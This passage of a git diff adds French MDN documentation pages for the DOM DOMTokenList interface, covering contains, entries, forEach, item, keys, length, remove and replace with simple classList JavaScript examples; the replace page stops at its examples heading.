--- /dev/null
+++ b/files/fr/web/api/domtokenlist/contains/index.html
@@ -0,0 +1,78 @@
+---
+title: DOMTokenList.contains()
+slug: Web/API/DOMTokenList/contains
+tags:
+  - API
+  - Chaînes de caractères
+  - DOM
+  - Listes
+  - Méthodes
+  - Recherche contenu
+translation_of: Web/API/DOMTokenList/contains
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code><strong>contains()</strong></code> de l'interface {{domxref("DOMTokenList")}} renvoie un {{domxref("Boolean")}} (<em>booléen</em>) — <code>true</code> (<em>vrai</em>) si la liste sous-jacente contient le symbole donné, sinon <code>false</code> (<em>faux</em>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">tokenList.contains(token);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>token</dt>
+ <dd>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant la "token" (<em>marque</em>) dont vous voulez vérifier l'existence dans la liste.</dd>
+</dl>
+
+<h3 id="Valeur_renvoyée">Valeur renvoyée</h3>
+
+<p>Un {{domxref("Boolean")}} (<em>booléen</em>)— <code>true</code> (<em>vrai</em>) si la liste sous-jacente contient la marque donnée, sinon <code>false</code> (<em>faux</em>).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, nous récupérons la liste des classes définies sur un élément {{htmlelement("span")}} en tant que <code>DOMTokenList</code> en utilisant {{domxref("Element.classList")}}. Nous testons ensuite l'existence de "c" dans la liste, et écrivons le résultat dans le {{domxref("Node.textContent")}} du <code>&lt;span&gt;</code>.</p>
+
+<p>Tout d'abord, le code HTML :</p>
+
+<pre class="brush: html">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>Maintenant, le JavaScript :</p>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+var result = classes.contains("c");
+if(result) {
+  span.textContent = "The classList contains 'c'";
+} else {
+   span.textContent = "The classList does not contain 'c'";
+}</pre>
+
+<p>La sortie ressemble à ceci :</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-domtokenlist-contains','contains()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.DOMTokenList.contains")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<p> </p>
diff --git a/files/fr/web/api/domtokenlist/entries/index.html b/files/fr/web/api/domtokenlist/entries/index.html
new file mode 100644
index 0000000000..8e8527b904
--- /dev/null
+++ b/files/fr/web/api/domtokenlist/entries/index.html
@@ -0,0 +1,72 @@
+---
+title: DOMTokenList.entries()
+slug: Web/API/DOMTokenList/entries
+tags:
+  - API
+  - Chaînes de caractères
+  - DOM
+  - Itérateurs
+  - Listes
+  - Méthodes
+translation_of: Web/API/DOMTokenList/entries
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <code><strong>DOMTokenList.entries()</strong></code> renvoie un {{jsxref("Les_protocoles_iteration",'itérateur')}} permettant de parcourir toutes les paires clé / valeur contenues dans cet objet. Les valeurs sont des objets {{domxref("DOMString")}} (<em>chaînes de caractères</em>), chacun représentant une seule marque.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">tokenList.entries();</pre>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Renvoie un {{jsxref("Les_protocoles_iteration","itérateur")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, nous récupérons la liste des classes définies sur un élément {{htmlelement("span")}} en tant que <code>DOMTokenList</code> en utilisant {{domxref("Element.classList")}}. Nous récupérons un itérateur contenant les paires clé / valeur en utilisant <code>entries()</code>, puis parcourons chacune d'entre elles en utilisant une boucle <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Instructions/for...of">for ... of</a> , et les écrivons dans un  {{domxref("Node.textContent")}}  du <code>&lt;span&gt;</code>.</p>
+
+<p>D'abord le HTML :</p>
+
+<pre class="brush: html">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>Maintenant le JavaScript :</p>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+var iterator = classes.entries();
+
+for(var value of iterator) {
+  span.textContent += value + ' ++ ';
+}</pre>
+
+<p>La sortie ressemble à ceci :</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-domtokenlist','entries() (as iterable&lt;Node&gt;)')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.DOMTokenList.entries")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMSettableTokenList")}} (objet qui étend DOMTokenList avec la propriété définissable<em> .value</em>)</li>
+</ul>
diff --git a/files/fr/web/api/domtokenlist/foreach/index.html b/files/fr/web/api/domtokenlist/foreach/index.html
new file mode 100644
index 0000000000..a472bdc26d
--- /dev/null
+++ b/files/fr/web/api/domtokenlist/foreach/index.html
@@ -0,0 +1,98 @@
+---
+title: DOMTokenList.forEach()
+slug: Web/API/DOMTokenList/forEach
+tags:
+  - API
+  - Boucle
+  - Chaînes de caractères
+  - DOM
+  - Itérateurs
+  - Méthodes
+  - Pour chaque
+translation_of: Web/API/DOMTokenList/forEach
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <strong><code>forEach()</code></strong> de l'interface {{domxref("DOMTokenList")}} appelle le retour donné en paramètre, un pour chaque paire de valeurs dans la liste, dans l'ordre d'insertion.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>tokenList</var><em>.</em>forEach(<var>callback</var>);
+<em>tokenList.</em>forEach<em>(callback, argument);</em>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Fonction à exécuter pour chaque élément, prenant éventuellement 3 arguments :
+ <dl>
+  <dt><em><code>currentValue</code></em></dt>
+  <dd>L'élément en cours de traitement dans le tableau.</dd>
+  <dt><code><em>currentIndex</em></code></dt>
+  <dd>L'index de l'élément en cours de traitement dans le tableau.</dd>
+  <dt><em><code>listObj</code></em></dt>
+  <dd>Le tableau que <code>forEach()</code> est en train d'appliquer.</dd>
+ </dl>
+ </dd>
+ <dt><em><code>argument</code></em><code> {{Optional_inline}}</code></dt>
+ <dd>Valeur à utiliser comme {{jsxref("this")}} lors de l'exécution du <code>callback</code> (<em>rappel</em>).</dd>
+</dl>
+
+<h3 id="Valeur_renvoyée">Valeur renvoyée</h3>
+
+<p>{{jsxref('undefined')}} (<em>indéfinie</em>).</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant, nous récupérons la liste des classes définies dans un élément {{htmlelement("span")}} en tant que <code>DOMTokenList</code> en utilisant {{domxref("Element.classList")}}. Nous récupérons un itérateur contenant les valeurs avec <code>forEach()</code> et écrivons chacune d'elles dans le  {{domxref("Node.textContent")}} du <code>&lt;span&gt;</code> pendant l'exécution de la fonction interne <code>forEach()</code>.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+var iterator = classes.values();
+
+classes.forEach(
+  function(value, key, listObj) {
+    span.textContent += value + ' ' + key + "/" + this + '  ++  ';
+  },
+  "arg"
+);</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{ EmbedLiveSample('Example', '100%', 60) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-domtokenlist','forEach() (as iterable&lt;Node&gt;)')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.DOMTokenList.forEach")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("DOMSettableTokenList")}} (objet qui étend DOMTokenList avec la propriété définissable <em>.value</em>)</li>
+</ul>
diff --git a/files/fr/web/api/domtokenlist/index.html b/files/fr/web/api/domtokenlist/index.html
new file mode 100644
index 0000000000..0784f5b071
--- /dev/null
+++ b/files/fr/web/api/domtokenlist/index.html
@@ -0,0 +1,117 @@
+---
+title: DOMTokenList
+slug: Web/API/DOMTokenList
+tags:
+  - API
+  - Chaînes de caractères
+  - DOM
+  - Interface
+  - Listes
+  - Marques
+translation_of: Web/API/DOMTokenList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>L'interface <code><strong>DOMTokenList</strong></code> représente un ensemble de "token" (<em>marques</em>) séparées par un espace. On obtient un tel ensemble grâce aux propriétés {{domxref("Element.classList")}}, {{domxref("HTMLLinkElement.relList")}}, {{domxref("HTMLAnchorElement.relList")}} ou {{domxref("HTMLAreaElement.relList")}}. Les positions de cette liste sont numérotées à partir de 0.<code> DOMTokenList</code> est toujours sensible à la casse.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("DOMTokenList.length")}} {{ReadOnlyInline}}</dt>
+ <dd>Un entier qui représente le nombre d'objets qui sont stockés dans l'objet.</dd>
+ <dt>{{domxref("DOMTokenList.value")}} {{ReadOnlyInline}}</dt>
+ <dd>retourne la valeur de la liste comme une {{domxref("DOMString")}}  <em>(chaîne de caractères).</em></dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("DOMTokenList.item()")}}</dt>
+ <dd>renvoie un élément de la liste à partir de son index (ou {{jsxref("undefined")}} lorsque le nombre passé est supérieur ou égal à la longueur de la liste).</dd>
+ <dt>{{domxref("DOMTokenList.contains()")}}</dt>
+ <dd>renvoie <code>true</code> <em>(vrai)</em> si la chaîne de caractères contient la marque <em>(token)</em> passée en argument, <code>false</code> <em>(faux)</em> sinon.</dd>
+ <dt>{{domxref("DOMTokenList.add()")}}</dt>
+ <dd>ajoute une marque à la chaîne sous-jacente.</dd>
+ <dt>{{domxref("DOMTokenList.remove()")}}</dt>
+ <dd>retire une marque de la chaîne sous-jacente.</dd>
+ <dt>{{domxref("DOMTokenList.replace()")}}</dt>
+ <dd>remplace une marque existant par une nouvelle.</dd>
+ <dt>{{domxref("DOMTokenList.supports()")}}</dt>
+ <dd>renvoie <code>true</code> <em>(vrai)</em> si une marque passée en argument appartient bien aux marques prises en charge pour l'attribut correspondant.</dd>
+ <dt>{{domxref("DOMTokenList.toggle()")}}</dt>
+ <dd>retire une marque de la chaîne de caractères sous-jacente et renvoie <code>false</code>. Si la marque n'existe pas, elle est ajoutée et la méthode renvoie <code>true</code>.</dd>
+ <dt>{{domxref("DOMTokenList.entries()")}}</dt>
+ <dd>renvoie un {{jsxref("Iteration_protocols","itérateur","",1)}} qui permet de parcourir l'ensemble des clés/valeurs contenues dans cet objet.</dd>
+ <dt>{{domxref("DOMTokenList.forEach()")}}</dt>
+ <dd>exécute une fonction pour chaque élément de la <code>DOMTokenList</code>.</dd>
+ <dt>{{domxref("DOMTokenList.keys()")}}</dt>
+ <dd>renvoie un {{jsxref("Iteration_protocols", "itérateur","",1)}} qui permet de parcourir l'ensemble des clés contenues dans cet objet.</dd>
+ <dt>{{domxref("DOMTokenList.values()")}}</dt>
+ <dd>renvoie un {{jsxref("Iteration_protocols", "itérateur","",1)}} qui permet de parcourir l'ensemble des valeurs contenues dans cet objet.</dd>
+ <dt>
+ <h2 id="Exemples">Exemples</h2>
+ </dt>
+</dl>
+
+<p>Dans l'exemple suivant, nous récupérons la liste d'un ensemble de classes définies sur un élément {{htmlelement("p")}} en tant que <code>DOMTokenList</code> en<code> </code>utilisant  {{domxref("Element.classList")}}, ajoutons une classe en utilisant  {{domxref("DOMTokenList.add()")}}, puis mettons à jour le {{domxref("Node.textContent")}} du <code>&lt;p&gt;</code> pour qu'il soit égal à la  <code>DOMTokenList</code>.</p>
+
+<p>D'abord HTML :</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>a b c<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Puis Javascript :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> para <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">"p"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> classes <span class="operator token">=</span> para<span class="punctuation token">.</span>classList<span class="punctuation token">;</span>
+para<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">add</span><span class="punctuation token">(</span><span class="string token">"d"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+para<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">'paragraph classList is "'</span> <span class="operator token">+</span> classes <span class="operator token">+</span> <span class="string token">'"'</span><span class="punctuation token">;</span></code></pre>
+
+<p>La sortie ressemble à ceci :</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Découpage_des_espaces_et_suppression_des_doublons">Découpage des espaces et suppression des doublons</h2>
+
+<p>Les méthodes qui modifient la <code>DOMTokenList</code> (comme {{domxref("DOMTokenList.add()")}}) <span id="result_box" lang="fr"><span>suppriment automatiquement les espaces en excès et les valeurs en double de la liste.</span> <span>Par exemple :</span></span></p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>    d   d e f<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> span <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">"span"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> classes <span class="operator token">=</span> span<span class="punctuation token">.</span>classList<span class="punctuation token">;</span>
+span<span class="punctuation token">.</span>classList<span class="punctuation token">.</span><span class="function token">add</span><span class="punctuation token">(</span><span class="string token">"x"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+span<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">'span classList is "'</span> <span class="operator token">+</span> classes <span class="operator token">+</span> <span class="string token">'"'</span><span class="punctuation token">;</span></code></pre>
+
+<p>La sortie ressemble à ceci :</p>
+
+<p>{{ EmbedLiveSample('Trimming_of_whitespace_and_removal_of_duplicates', '100%', 60) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#interface-domtokenlist", "DOMTokenList")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.DOMTokenList")}}</div>
+
+<div id="compat-mobile">
+<h2 id="Voir_aussi">Voir aussi</h2>
+</div>
+
+<ul>
+ <li>{{domxref("DOMSettableTokenList")}} : un objet qui étend <code>DOMTokenList</code> avec une propriété <em>.value</em> modifiable</li>
+</ul>
diff --git a/files/fr/web/api/domtokenlist/item/index.html b/files/fr/web/api/domtokenlist/item/index.html
new file mode 100644
index 0000000000..1591d5c9fc
--- /dev/null
+++ b/files/fr/web/api/domtokenlist/item/index.html
@@ -0,0 +1,73 @@
+---
+title: DOMTokenList.item()
+slug: Web/API/DOMTokenList/item
+tags:
+  - API
+  - Chaînes de caractères
+  - DOM
+  - Listes
+  - Méthodes
+translation_of: Web/API/DOMTokenList/item
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code><strong>item()</strong></code> de l'interface {{domxref("DOMTokenList")}} renvoie un élément de la liste par son index.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">tokenList.item(index);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>index</dt>
+ <dd>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant l'index de l'élément dont on veut le retour.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant l'élément renvoyé. Le retour est <code>undefined</code> (<em>indéfini</em>) si le nombre est plus grand que ou égal à la longueur de la liste.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, nous récupérons la liste des classes définies dans un élément {{htmlelement("span")}} en tant que <code>DOMTokenList</code> en utilisant {{domxref("Element.classList")}}. Nous récupérons le dernier élément dans la liste en utilisant <em>item(length-1)</em> et l'écrivons dans le {{domxref("Node.textContent")}} du <code>&lt;span&gt;</code>.</p>
+
+<p>D'abord le code HTML :</p>
+
+<pre class="brush: html">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>Maintenant le JavaScript :</p>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+var item = classes.item(classes.length-1);
+span.textContent = item;</pre>
+
+<p>La sortie ressemble à ceci :</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-domtokenlist-item','item()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.DOMTokenList.item")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<p> </p>
diff --git a/files/fr/web/api/domtokenlist/keys/index.html b/files/fr/web/api/domtokenlist/keys/index.html
new file mode 100644
index 0000000000..85855c60c6
--- /dev/null
+++ b/files/fr/web/api/domtokenlist/keys/index.html
@@ -0,0 +1,76 @@
+---
+title: DOMTokenList.keys()
+slug: Web/API/DOMTokenList/keys
+tags:
+  - API
+  - Boucle
+  - Clés
+  - DOM
+  - Itérateur
+  - Listes
+  - Méthodes
+  - for of
+translation_of: Web/API/DOMTokenList/keys
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code><strong>keys()</strong></code> de l'interface {{domxref("DOMTokenList")}} renvoie un {{jsxref("Les_protocoles_iteration",'itérateur')}} permettant de parcourir toutes les clés contenues dans cet objet. Les clés sont de type <code>unsigned integer</code> <em>(entier non signé)</em>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">tokenList.keys();</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Renvoie un {{jsxref("Les_protocoles_iteration","itérateur")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, nous récupérons la liste des classes définies dans un élément {{htmlelement("span")}} en tant que <code>DOMTokenList</code> en utilisant {{domxref("Element.classList")}}. Ensuite nous récupérons un itérateur contenant les clés en utilisant <code>values()</code>, alors, nous itérons ces clés avec une boucle <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for ... of</a> et écrivons chacune dans le {{domxref("Node.textContent")}} du <code>&lt;span&gt;</code>.</p>
+
+<p>D'abord, le HTML :</p>
+
+<pre class="brush: html">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>Maintenant le JavaScript:</p>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+var iterator = classes.keys();
+
+for(var value of iterator) {
+  span.textContent += value + ' ++ ';
+}</pre>
+
+<p>La sortie ressemble à ceci :</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-domtokenList','keys() (as iterable&lt;Node&gt;)')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.DOMTokenList.keys")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile"> </div>
diff --git a/files/fr/web/api/domtokenlist/length/index.html b/files/fr/web/api/domtokenlist/length/index.html
new file mode 100644
index 0000000000..020d7bd7f6
--- /dev/null
+++ b/files/fr/web/api/domtokenlist/length/index.html
@@ -0,0 +1,68 @@
+---
+title: DOMTokenList.length
+slug: Web/API/DOMTokenList/length
+tags:
+  - API
+  - DOM
+  - Listes
+  - Longueur
+  - Propriétés
+translation_of: Web/API/DOMTokenList/length
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété en lecture seule <code><strong>length</strong></code> (<em>longueur</em>) de l'interface {{domxref("DOMTokenList")}} est un <code>integer</code> (<em>entier</em>) représentant le nombre d'objets stockés dans la liste.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">tokenList.length;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Un <code>integer</code> (<em>entier</em>).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, nous récupérons la liste des classes définies dans un élément {{htmlelement("span")}} en tant que <code>DOMTokenList</code> en utilisant {{domxref("Element.classList")}}, puis écrivons la longueur (<em>length</em>) de la liste dans le {{domxref("Node.textContent")}} du <code>&lt;span&gt;</code>.</p>
+
+<p>D'abord le HTML:</p>
+
+<pre class="brush: html">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>Maintenant le JavaScript:</p>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+var length = classes.length;
+
+span.textContent = 'classList length = ' + length;
+</pre>
+
+<p>La sortie ressemble à ceci :</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-domtokenlist-length','length')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.DOMTokenList.length")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile"> </div>
diff --git a/files/fr/web/api/domtokenlist/remove/index.html b/files/fr/web/api/domtokenlist/remove/index.html
new file mode 100644
index 0000000000..b3721f931c
--- /dev/null
+++ b/files/fr/web/api/domtokenlist/remove/index.html
@@ -0,0 +1,85 @@
+---
+title: DOMTokenList.remove()
+slug: Web/API/DOMTokenList/remove
+tags:
+  - API
+  - DOM
+  - Listes
+  - Méthodes
+  - Suppression
+translation_of: Web/API/DOMTokenList/remove
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code><strong>remove()</strong></code> de l'interface {{domxref("DOMTokenList")}} supprime sur la liste la marque (<em>token)</em> spécifiée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">tokenList.remove(token1[, token2[, ...]]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>tokenN...</dt>
+ <dd>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant la marque que vous voulez supprimer sur la liste. Si la chaîne de caractères n'existe pas sur la liste, aucune erreur n'est levée et rien ne se passe.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Vide.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, nous récupérons la liste des classes définies dans l'élément {{htmlelement("span")}} en tant que <code>DOMTokenList</code> en utilisant {{domxref("Element.classList")}}. Nous retirons ensuite une marque sur la liste et écrivons la liste dans le {{domxref("Node.textContent")}} du <code>&lt;span&gt;</code>.</p>
+
+<p>D'abord, le HTML :</p>
+
+<pre class="brush: html">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>Maintenant le JavaScript :</p>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+classes.remove("c");
+span.textContent = classes;
+</pre>
+
+<p>La sortie ressemble à ceci :</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<p>Pour supprimer plusieurs classes à la fois, vous pouvez utiliser un tableau (<em>array</em>) avec la <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateur_de_d%C3%A9composition">syntaxe de décomposition</a>. L'ordre des classes n'a pas d'importance :</p>
+
+<pre class="brush: js">let span = document.getElementsByTagName("span")[0],
+  classes = span.classList;
+
+classes.remove(...['c', 'b']);
+span.textContent = classes;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-domtokenlist-remove','remove()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.DOMTokenList.remove")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile"> </div>
+
+<p> </p>
diff --git a/files/fr/web/api/domtokenlist/replace/index.html b/files/fr/web/api/domtokenlist/replace/index.html
new file mode 100644
index 0000000000..64de0066fd
--- /dev/null
+++ b/files/fr/web/api/domtokenlist/replace/index.html
@@ -0,0 +1,80 @@
+---
+title: DOMTokenList.replace()
+slug: Web/API/DOMTokenList/replace
+tags:
+  - API
+  - DOM
+  - Listes
+  - Méthodes
+  - Remplacement
+translation_of: Web/API/DOMTokenList/replace
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code><strong>replace()</strong></code> de l'interface {{domxref("DOMTokenList")}} remplace une marque <em>(token)</em> existante par une nouvelle marque.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">tokenList.replace(oldToken,newToken);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>oldToken</dt>
+ <dd>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant la marque que vous voulez remplacer.</dd>
+ <dt>newToken</dt>
+ <dd>Une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant la marque avec laquelle vous voulez remplacer l'ancienne.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Vide.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
